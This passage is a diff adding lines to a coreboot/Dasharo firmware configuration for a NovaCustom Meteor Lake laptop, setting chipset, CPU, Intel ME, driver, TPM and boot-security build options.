+CONFIG_PS2M_EISAID="PNP0F13" +CONFIG_TTYS0_BAUD=115200 +CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_L1_SUB_STATE=y +CONFIG_PCIEXP_CLK_PM=y +# CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_FSP_TEMP_RAM_SIZE=0x20000 +CONFIG_EC_GPE_SCI=0x50 +CONFIG_TPM_MEASURED_BOOT=y +CONFIG_LINUX_COMMAND_LINE="debug" +CONFIG_BOARD_ROMSIZE_KB_32768=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +CONFIG_COREBOOT_ROMSIZE_KB_32768=y +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=32768 +CONFIG_ROM_SIZE=0x02000000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 +# end of Mainboard + +CONFIG_SYSTEM_TYPE_LAPTOP=y + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="soc/intel/meteorlake/chipset.cb" +CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" +CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_CONSOLE_UART_BASE_ADDRESS=0xfe02c000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x200000 +CONFIG_SMM_MODULE_STACK_SIZE=0x800 +CONFIG_ACPI_BERT=y +CONFIG_ACPI_BERT_SIZE=0x10000 +CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=133 +CONFIG_VBOOT_HASH_BLOCK_SIZE=0x1000 +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_EXT_BIOS_WIN_BASE=0xf8000000 +CONFIG_EXT_BIOS_WIN_SIZE=0x2000000 +CONFIG_IFD_CHIPSET="mtl" +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_MAX_TBT_ROOT_PORTS=4 +CONFIG_MAX_ROOT_PORTS=12 +CONFIG_MAX_PCIE_CLOCK_SRC=9 +CONFIG_PCR_BASE_ADDRESS=0xe0000000 +CONFIG_CPU_BCLK_MHZ=100 +CONFIG_SOC_INTEL_PERFORMANCE_CORE_SCALE_FACTOR=125 +CONFIG_SOC_INTEL_EFFICIENT_CORE_SCALE_FACTOR=100 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 +CONFIG_CPU_XTAL_HZ=38400000 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=3 +CONFIG_SOC_INTEL_I2C_DEV_MAX=6 +CONFIG_SOC_INTEL_UART_DEV_MAX=3 +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x25a +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0x7fff +CONFIG_FSP_HEADER_PATH="3rdparty/dasharo-blobs/novacustom/v5x0tu/MeteorLakeFspBinPkg/Include/" +CONFIG_FSP_FD_PATH="3rdparty/dasharo-blobs/novacustom/v5x0tu/MeteorLakeFspBinPkg/Fsp.fd" +CONFIG_DATA_BUS_WIDTH=128 +CONFIG_DIMMS_PER_CHANNEL=2 +CONFIG_MRC_CHANNEL_WIDTH=16 +CONFIG_BUILDING_WITH_DEBUG_FSP=y +CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8258 +CONFIG_INTEL_GMA_BCLV_WIDTH=32 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8254 +CONFIG_INTEL_GMA_BCLM_WIDTH=32 +CONFIG_FSP_PUBLISH_MBP_HOB=y +CONFIG_MAX_HECI_DEVICES=6 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_HAVE_PAM0_REGISTER=y +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 +CONFIG_SOC_INTEL_METEORLAKE=y +CONFIG_SOC_INTEL_METEORLAKE_U_H=y +CONFIG_SOC_INTEL_METEORLAKE_TCSS_USB4_SUPPORT=y +CONFIG_METEORLAKE_CAR_ENHANCED_NEM=y +CONFIG_CPU_MAX_TEMPERATURE=110 +CONFIG_IOE_PCR_BASE_ADDRESS=0x3fff0000000 +CONFIG_SOC_INTEL_USB2_DEV_MAX=10 +CONFIG_SOC_INTEL_USB3_DEV_MAX=2 +CONFIG_SOC_INTEL_METEORLAKE_DEBUG_CONSENT=0 +CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x800000 +CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x100f +CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x100f +CONFIG_IOE_DIE_CLOCK_START=6 +CONFIG_SOC_INTEL_CSE_FW_PARTITION_CMOS_OFFSET=161 +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_SLP_S0_FREQ_HZ=0x2005 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=42 +CONFIG_INTEL_TME=y +CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y +CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_SOC_INTEL_COMMON=y + +# +# Intel SoC Common Code for IP blocks +# +CONFIG_SOC_INTEL_COMMON_BLOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP_LPM_REQ=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CRASHLOG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPU_HYBRID=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CNVI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y +CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y +# CONFIG_USE_COREBOOT_MP_INIT is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y +CONFIG_INTEL_CAR_NEM_ENHANCED=y +CONFIG_CAR_HAS_SF_MASKS=y +CONFIG_COS_MAPPED_TO_MSB=y +CONFIG_CAR_HAS_L3_PROTECTED_WAYS=y +CONFIG_USE_INTEL_FSP_TO_CALL_COREBOOT_PUBLISH_MP_PPI=y +CONFIG_CPU_SUPPORTS_INTEL_TME=y +CONFIG_TME_KEY_REGENERATION_ON_WARM_BOOT=y +CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y +CONFIG_HAVE_HYPERTHREADING=y +CONFIG_FSP_HYPERTHREADING=y +CONFIG_INTEL_KEYLOCKER=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE=2 +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_MAX is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_256MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_128MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_64MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_32MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_16MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_8MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_4MB is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_2MB=y +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_0MB is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PMC_IPC=y +CONFIG_SOC_INTEL_CSE_SEND_EOP_LATE=y +CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" +CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" +CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" +CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" +CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" +CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" +CONFIG_SOC_INTEL_CSE_RW_FILE="" +CONFIG_SOC_INTEL_CSE_RW_VERSION="" +CONFIG_SOC_INTEL_CSE_SET_EOP=y +CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_PRE_CPU_RESET_TELEMETRY=y +CONFIG_SOC_INTEL_CSE_PRE_CPU_RESET_TELEMETRY_V2=y +CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_18=y +CONFIG_ME_SPEC=18 +CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y +CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y +CONFIG_FAST_SPI_SUPPORTS_EXT_BIOS_WINDOW=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_IOSTANDBY=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_PMODE_4BITS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y +# CONFIG_SOC_INTEL_DISABLE_IGD is not set +CONFIG_SOC_INTEL_GFX_NON_PREFETCHABLE_MMIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_VERSION_2=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y +CONFIG_SOC_INTEL_COMMON_BLOCK_IOC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_IPU=y +CONFIG_SOC_INTEL_COMMON_BLOCK_IRQ=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_MEMINIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_IOE_P2SB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE_RTD3=y +CONFIG_PCIE_CLOCK_CONTROL_THROUGH_P2SB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y +CONFIG_SOC_INTEL_MEM_MAPPED_PM_CONFIGURATION=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC_EPOC=y +CONFIG_PMC_IPC_ACPI_INTERFACE=y +CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 +CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCSS=y +# CONFIG_TCSS_HAS_USBC_OPS is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_BEHIND_PMC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y +CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y +CONFIG_INTEL_LPSS_UART_FOR_CONSOLE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_USB4=y +CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_PCIE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_XHCI=y +CONFIG_SOC_INTEL_ENABLE_USB4_PCIE_RESOURCES=y +# CONFIG_FIRMWARE_CONNECTION_MANAGER is not set +CONFIG_SOFTWARE_CONNECTION_MANAGER=y +CONFIG_SOC_INTEL_COMMON_BLOCK_VTD=y +CONFIG_ENABLE_EARLY_DMA_PROTECTION=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y + +# +# Intel SoC Common PCH Code +# +CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y +CONFIG_SOC_INTEL_COMMON_PCH_BASE=y +CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y +CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y +CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y +CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y + +# +# Intel SoC Common coreboot stages and non-IP blocks +# +CONFIG_SOC_INTEL_COMMON_BASECODE=y +CONFIG_SOC_INTEL_COMMON_RESET=y +CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y +CONFIG_PAVP=y +# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set +CONFIG_HAVE_INTEL_COMPLIANCE_TEST_MODE=y +# CONFIG_SOC_INTEL_COMPLIANCE_TEST_MODE is not set +CONFIG_SOC_INTEL_CRASHLOG=y +CONFIG_SOC_INTEL_IOE_DIE_SUPPORT=y + +# +# CPU +# +CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_VOLTAGE=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_PARALLEL_MP=y +CONFIG_PARALLEL_MP_AP_WORK=y +CONFIG_DEFAULT_X2APIC_LATE_WORKAROUND=y +# CONFIG_XAPIC_ONLY is not set +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +CONFIG_X2APIC_LATE_WORKAROUND=y +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_X86_CLFLUSH_CAR=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_X86_INIT_NEED_1_SIPI=y +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set + +# +# Northbridge +# + +# +# Southbridge +# +CONFIG_PCIEXP_HOTPLUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# +CONFIG_EC_ACPI=y +CONFIG_EC_SYSTEM76_EC=y +# CONFIG_EC_SYSTEM76_EC_UPDATE is not set + +# +# Intel Firmware +# +# CONFIG_IFDTOOL_DISABLE_ME is not set +CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +CONFIG_HAVE_INTEL_ME_HAP=y +# CONFIG_INTEL_ME_DISABLED_HECI is not set +# CONFIG_INTEL_ME_DISABLED_HAP is not set +CONFIG_INTEL_ME_ENABLED=y +CONFIG_INTEL_ME_DEFAULT_STATE=0 +CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y +CONFIG_HAVE_GBE_BIN=y +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_BIOS_VENDOR="3mdeb" + +# +# Dasharo +# + +# +# Dasharo Configuration +# +# CONFIG_DASHARO_PREFER_S3_SLEEP is not set +CONFIG_DASHARO_FIRMWARE_UPDATE_MODE=y +# end of Dasharo Configuration + +CONFIG_UDK_BASE=y +# CONFIG_UDK_202005_BINDING is not set +CONFIG_UDK_202302_BINDING=y +CONFIG_UDK_2013_VERSION=2013 +CONFIG_UDK_2017_VERSION=2017 +CONFIG_UDK_202005_VERSION=202005 +CONFIG_UDK_202302_VERSION=202302 +CONFIG_UDK_VERSION=202302 +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_CUSTOM_BOOTMEDIA=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_IDT_IN_EVERY_STAGE=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS_IN_ALL_STAGES=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_HAVE_FSP_GOP=y +# CONFIG_VGA_ROM_RUN is not set +CONFIG_RUN_FSP_GOP=y +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y +CONFIG_BOOTSPLASH=y +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x10000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS=y +CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR=y +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G=y +CONFIG_PCIEXP_HOTPLUG_IO=0x800 +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +CONFIG_MRC_SETTINGS_PROTECT=y +CONFIG_MRC_CACHE_USING_MRC_VERSION=y +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_TPM_INIT_RAMSTAGE=y +CONFIG_TPM_PPI=y +CONFIG_DRIVERS_UART=y +CONFIG_NO_UART_ON_SUPERIO=y +CONFIG_DRIVERS_UART_8250MEM=y +CONFIG_DRIVERS_UART_8250MEM_32=y +# CONFIG_VPD is not set +CONFIG_DRIVERS_GENERIC_BAYHUB_LV2=y +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +CONFIG_DRIVERS_I2C_DESIGNWARE=y +CONFIG_DRIVERS_I2C_GENERIC=y +CONFIG_DRIVERS_I2C_HID=y +# CONFIG_DRIVERS_I2C_MAX98396 is not set +# CONFIG_DISPLAY_HOBS is not set +# CONFIG_DISPLAY_UPD_DATA is not set +# CONFIG_BMP_LOGO is not set +CONFIG_PLATFORM_USES_FSP2_0=y +CONFIG_PLATFORM_USES_FSP2_1=y +CONFIG_PLATFORM_USES_FSP2_2=y +CONFIG_PLATFORM_USES_FSP2_3=y +CONFIG_PLATFORM_USES_FSP2_X86_32=y +CONFIG_ADD_FSP_BINARIES=y +CONFIG_FSP_T_LOCATION=0xfffe0000 +CONFIG_FSP_S_CBFS="fsps.bin" +CONFIG_FSP_M_CBFS="fspm.bin" +CONFIG_FSP_FULL_FD=y +CONFIG_FSP_T_RESERVED_SIZE=0x0 +CONFIG_FSP_M_XIP=y +CONFIG_FSP_USES_CB_STACK=y +CONFIG_HAVE_FSP_LOGO_SUPPORT=y +CONFIG_FSP_COMPRESS_FSP_S_LZ4=y +CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y +CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 +CONFIG_SOC_INTEL_COMMON_FSP_RESET=y +CONFIG_FSPS_HAS_ARCH_UPD=y +CONFIG_FSPS_USE_MULTI_PHASE_INIT=y +CONFIG_FSP_USES_CB_DEBUG_EVENT_HANDLER=y +# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set +CONFIG_FSP_ENABLE_SERIAL_DEBUG=y +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_INTEL_GMA_OPREGION_2_1=y +CONFIG_INTEL_GMA_VERSION_2=y +CONFIG_DRIVERS_INTEL_PMC=y +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set +# CONFIG_DRIVERS_PS2_KEYBOARD is not set +CONFIG_DRIVERS_MC146818=y +CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_USB_ACPI=y +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +CONFIG_MP_SERVICES_PPI=y +CONFIG_MP_SERVICES_PPI_V2=y +CONFIG_DRIVERS_INTEL_USB4_RETIMER=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_TPM1 is not set +CONFIG_TPM2=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM2=y +# CONFIG_DEBUG_TPM is not set +CONFIG_TPM_RDRESP_NEED_DELAY=y +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM2=y +# CONFIG_TPM_HASH_SHA1 is not set +CONFIG_TPM_HASH_SHA256=y +# CONFIG_TPM_HASH_SHA384 is not set +# CONFIG_TPM_HASH_SHA512 is not set +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +# CONFIG_STM is not set +# CONFIG_INTEL_CBNT_SUPPORT is not set +CONFIG_BOOTMEDIA_LOCK_NONE=y +# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y 